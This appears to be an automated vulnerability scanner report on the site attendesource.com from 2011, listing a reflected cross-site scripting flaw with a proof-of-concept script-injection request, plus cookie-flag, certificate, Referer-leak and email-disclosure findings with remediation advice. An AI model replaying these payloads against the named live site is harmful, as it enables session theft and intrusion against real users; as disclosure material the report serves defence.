XSS, Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, attendesource.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://attendesource.com/profile/form/index.cfm [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	https://attendesource.com
Path:	/profile/form/index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b3fd"><script>alert(1)</script>7560a53cbaf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /profile/form/index.cfm?PKformID=0x32928f45d&6b3fd"><script>alert(1)</script>7560a53cbaf=1 HTTP/1.1
Host: attendesource.com
Connection: keep-alive
Referer: http://secure360.org/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 27 Apr 2011 13:40:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 13:40:17 GMT;path=/
Pragma: no-cache
Expires: Wed, 27 Apr 2011 13:40:16 GMT
cache-control: no-cache, no-store, must-revalidate
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<html><head>

<meta http-equiv="expires" content="-1">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache, no-store, mu
...[SNIP]...
<input type="hidden" name="r123_url__6b3fd"><script>alert(1)</script>7560a53cbaf" value="1">
...[SNIP]...

1.2. https://attendesource.com/user/index.cfm [User-Agent HTTP header] previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://attendesource.com
Path:	/user/index.cfm

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload bde70<a>98d98a7d737 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /user/index.cfm? HTTP/1.1
Host: attendesource.com
Connection: keep-alive
User-Agent: bde70<a>98d98a7d737
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: APPLICATIONNAME=attendesource

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 27 Apr 2011 14:13:17 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:13:17 GMT;path=/
Set-Cookie: SESS_UUID=950441fd%2Dde63%2D4039%2Dbda9%2Dc56e15fa43b7;expires=Thu, 28-Apr-2011 14:13:17 GMT;path=/
Expires: Wed,27 Apr 07:23:17
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="
...[SNIP]...
<BR>
           "bde70<a>98d98a7d737"<br>
...[SNIP]...

2. SSL cookie without secure flag set previous next
There are 5 instances of this issue:

/user/index.cfm
/
/favicon.ico
/profile/form/
/profile/form/index.cfm

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

2.1. https://attendesource.com/user/index.cfm previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://attendesource.com
Path:	/user/index.cfm

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

SESS_UUID=b1a558f1%2D64b1%2D4de2%2Da283%2Dd2b690d6ca9f;expires=Thu, 28-Apr-2011 14:12:48 GMT;path=/
APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:12:48 GMT;path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /user/index.cfm? HTTP/1.1
Host: attendesource.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: APPLICATIONNAME=attendesource

Response

2.2. https://attendesource.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:12:45 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: attendesource.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: APPLICATIONNAME=attendesource

Response

HTTP/1.1 301 Moved Permanently
Connection: close
Date: Wed, 27 Apr 2011 14:12:45 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:12:45 GMT;path=/
location: http://attendesource.com/user/index.cfm
Content-Type: text/html; charset=UTF-8

2.3. https://attendesource.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/favicon.ico

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 13:40:28 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /favicon.ico HTTP/1.1
Host: attendesource.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: APPLICATIONNAME=attendesource

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 27 Apr 2011 13:40:28 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 13:40:28 GMT;path=/
Content-Type: text/html; charset=UTF-8

   <html>
   <head>
       <style>
           body#fourOHfour {
               font-family:Arial,Helvetica,sans-serif;
               line-height:150%;
           }
           #fourOHfour div p {
               width:300px;
               font-weight:bold;
           }

...[SNIP]...

2.4. https://attendesource.com/profile/form/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/profile/form/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:13:22 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /profile/form/ HTTP/1.1
Host: attendesource.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SESS_UUID=df7b7aa5%2D40ae%2D4607%2Db9c8%2D5b60d1055996; APPLICATIONNAME=attendesource

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 27 Apr 2011 14:13:22 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:13:22 GMT;path=/
Content-Type: text/html; charset=UTF-8

   <script language="JavaScript">alert('There has been a submission error.\n\n' +
   'Make sure that the web address is complete and does not have any extra\n' +
   'spaces or special characters. Then
...[SNIP]...

2.5. https://attendesource.com/profile/form/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/profile/form/index.cfm

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 13:39:44 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /profile/form/index.cfm?PKformID=0x32928f45d HTTP/1.1
Host: attendesource.com
Connection: keep-alive
Referer: http://secure360.org/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 27 Apr 2011 13:39:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 13:39:44 GMT;path=/
Pragma: no-cache
Expires: Wed, 27 Apr 2011 13:39:43 GMT
cache-control: no-cache, no-store, must-revalidate
Content-Language: en-US
Content-Type: text/html; charset=UTF-8

<html><head>

<meta http-equiv="expires" content="-1">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache, no-store, mu
...[SNIP]...

3. SSL certificate previous next

Summary

Severity:	Medium
Confidence:	Certain
Host:	https://attendesource.com
Path:	/

Issue detail

The following problem was identified with the server's SSL certificate:

The server's certificate is not valid for the server's hostname.

The server presented the following certificates:

Server certificate

Issued to:	www.attendesource.com
Issued by:	Go Daddy Secure Certification Authority
Valid from:	Mon Jul 21 12:40:01 CDT 2008
Valid to:	Thu Jul 21 12:40:01 CDT 2011

Certificate chain #1

Issued to:	Go Daddy Secure Certification Authority
Issued by:	Go Daddy Class 2 Certification Authority
Valid from:	Wed Nov 15 19:54:37 CST 2006
Valid to:	Sun Nov 15 19:54:37 CST 2026

Certificate chain #2

Issued to:	Go Daddy Class 2 Certification Authority
Issued by:	Go Daddy Class 2 Certification Authority
Valid from:	Tue Jun 29 12:06:20 CDT 2004
Valid to:	Thu Jun 29 12:06:20 CDT 2034

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

4. Cookie without HttpOnly flag set previous next
There are 5 instances of this issue:

/user/index.cfm
/
/favicon.ico
/profile/form/
/profile/form/index.cfm

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

4.1. https://attendesource.com/user/index.cfm previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://attendesource.com
Path:	/user/index.cfm

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

SESS_UUID=b1a558f1%2D64b1%2D4de2%2Da283%2Dd2b690d6ca9f;expires=Thu, 28-Apr-2011 14:12:48 GMT;path=/
APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:12:48 GMT;path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

4.2. https://attendesource.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:12:45 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

4.3. https://attendesource.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/favicon.ico

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 13:40:28 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

4.4. https://attendesource.com/profile/form/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/profile/form/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:13:22 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

4.5. https://attendesource.com/profile/form/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/profile/form/index.cfm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 13:39:44 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5. Password field with autocomplete enabled previous next
There are 3 instances of this issue:

/user/index.cfm
/user/index.cfm
/user/index.cfm

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

5.1. https://attendesource.com/user/index.cfm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://attendesource.com
Path:	/user/index.cfm

Issue detail

The page contains a form with the following action URL:

https://attendesource.com/user/index.cfm?r123%5Fdomain=attendesource&pkformid=0x32928f45d&6b3fd=

The form contains the following password field with autocomplete enabled:

password

Request

GET /user/index.cfm?PKformID=0x32928f45d&6b3fd HTTP/1.1
Host: attendesource.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SESS_UUID=df7b7aa5%2D40ae%2D4607%2Db9c8%2D5b60d1055996; APPLICATIONNAME=attendesource

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 27 Apr 2011 14:16:16 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:16:16 GMT;path=/
Expires: Wed,27 Apr 07:26:16
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="
...[SNIP]...
<br>


       <form action="https://attendesource.com/user/index.cfm?r123%5Fdomain=attendesource&pkformid=0x32928f45d&6b3fd=" method="post" name="login" OnSubmit="if (document.login.stickyLogin.checked == true){ setCookie('certainLogin', document.getElementById('username').value, 365, '/');} else (setCookie('certainLogin', '', 0, '/'));">

   <div class="mod simpleG white margin-auto widthLogin" >
...[SNIP]...
<br />
                               <input type="password" name="password" id="password" />
                           </td>
...[SNIP]...

5.2. https://attendesource.com/user/index.cfm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://attendesource.com
Path:	/user/index.cfm

Issue detail

The page contains a form with the following action URL:

https://attendesource.com/user/index.cfm?r123%5Fdomain=attendesource&60a53cbaf=1

The form contains the following password field with autocomplete enabled:

password

Request

GET /user/index.cfm?60a53cbaf=1 HTTP/1.1
Host: attendesource.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SESS_UUID=df7b7aa5%2D40ae%2D4607%2Db9c8%2D5b60d1055996; APPLICATIONNAME=attendesource

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 27 Apr 2011 14:14:12 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:14:12 GMT;path=/
Expires: Wed,27 Apr 07:24:12
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="
...[SNIP]...
<br>


       <form action="https://attendesource.com/user/index.cfm?r123%5Fdomain=attendesource&60a53cbaf=1" method="post" name="login" OnSubmit="if (document.login.stickyLogin.checked == true){ setCookie('certainLogin', document.getElementById('username').value, 365, '/');} else (setCookie('certainLogin', '', 0, '/'));">

   <div class="mod simpleG white margin-auto widthLogin" >
...[SNIP]...
<br />
                               <input type="password" name="password" id="password" />
                           </td>
...[SNIP]...

5.3. https://attendesource.com/user/index.cfm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://attendesource.com
Path:	/user/index.cfm

Issue detail

The page contains a form with the following action URL:

https://attendesource.com/user/index.cfm?r123%5Fdomain=attendesource

The form contains the following password field with autocomplete enabled:

password

Request

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 27 Apr 2011 14:12:48 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:12:48 GMT;path=/
Set-Cookie: SESS_UUID=b1a558f1%2D64b1%2D4de2%2Da283%2Dd2b690d6ca9f;expires=Thu, 28-Apr-2011 14:12:48 GMT;path=/
Expires: Wed,27 Apr 07:22:48
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="
...[SNIP]...
<br>


       <form action="https://attendesource.com/user/index.cfm?r123%5Fdomain=attendesource" method="post" name="login" OnSubmit="if (document.login.stickyLogin.checked == true){ setCookie('certainLogin', document.getElementById('username').value, 365, '/');} else (setCookie('certainLogin', '', 0, '/'));">

   <div class="mod simpleG white margin-auto widthLogin" >
...[SNIP]...
<br />
                               <input type="password" name="password" id="password" />
                           </td>
...[SNIP]...

6. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/user/index.cfm

Issue detail

The page was loaded from a URL containing a query string:

https://attendesource.com/user/index.cfm?

The response contains the following links to other domains:

https://www.certain.com/landing/certain-meetings/certain-meetings-login-graphic.html
https://www.certain.com/products/certain-registration/online-registration-event-management-software.html

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 27 Apr 2011 14:12:48 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: APPLICATIONNAME=attendesource;expires=Thu, 28-Apr-2011 14:12:48 GMT;path=/
Set-Cookie: SESS_UUID=b1a558f1%2D64b1%2D4de2%2Da283%2Dd2b690d6ca9f;expires=Thu, 28-Apr-2011 14:12:48 GMT;path=/
Expires: Wed,27 Apr 07:22:48
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="
...[SNIP]...
<td rowspan="5" valign="top">
                                   <a href="https://www.certain.com/products/certain-registration/online-registration-event-management-software.html" target="_newtab"><img src="/assets/images/certain/logo/certain_meetings_logo.png" alt="Certain Meetings" style="margin:0 15px;">
...[SNIP]...
<div class="wrap" style="background:#F3F3F3;text-align:center;">
                   <iframe
                       src="https://www.certain.com/landing/certain-meetings/certain-meetings-login-graphic.html"
                       name="certainBillboard" id="certainBillboard"
                       width="450" height="280"
                       marginwidth="0" marginheight="0"
                       scrolling="no" frameborder="0"
                       style="margin:0;border:0;width:450px;background-color:#F3F3F3;">
                   </iframe>
...[SNIP]...

7. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/assets/js/cookieLib.js

Issue detail

The response dynamically includes the following script from another domain:

http://www.register123.com/

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /assets/js/cookieLib.js HTTP/1.1
Host: attendesource.com
Connection: keep-alive
Referer: https://attendesource.com/user/index.cfm?
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: APPLICATIONNAME=attendesource; SESS_UUID=df7b7aa5%2D40ae%2D4607%2Db9c8%2D5b60d1055996

Response

HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Length: 3305
Content-Type: application/x-javascript
Content-Location: http://attendesource.com/assets/js/cookieLib.js
Last-Modified: Thu, 09 Dec 2010 19:07:12 GMT
Accept-Ranges: bytes
ETag: "030c648d497cb1:31c3"
Server: Microsoft-IIS/6.0
Date: Wed, 27 Apr 2011 14:12:57 GMT

/* ****************************************************************************
* Cookie Library
*
* Contains javascript functions needed to set and read cookies.
* First written for IEEE Communications Society project
*
* Include in html head as
* <script language="JavaScript" src="http://www.register123.com/#application.relativePath#/js/cookieLib.js"></script>
...[SNIP]...

8. Email addresses disclosed previous next
There are 4 instances of this issue:

/assets/js/lib/jquery/jquery.favorites.js
/assets/js/lib/jquery/jquery.tablesorter.js
/assets/js/lib/prototype.js
/favicon.ico

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

8.1. https://attendesource.com/assets/js/lib/jquery/jquery.favorites.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://attendesource.com
Path:	/assets/js/lib/jquery/jquery.favorites.js

Issue detail

The following email address was disclosed in the response:

rmanville@certain.com

Request

GET /assets/js/lib/jquery/jquery.favorites.js?8EF25E18 HTTP/1.1
Host: attendesource.com
Connection: keep-alive
Referer: https://attendesource.com/profile/form/index.cfm?PKformID=0x32928f45d
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: APPLICATIONNAME=attendesource

Response

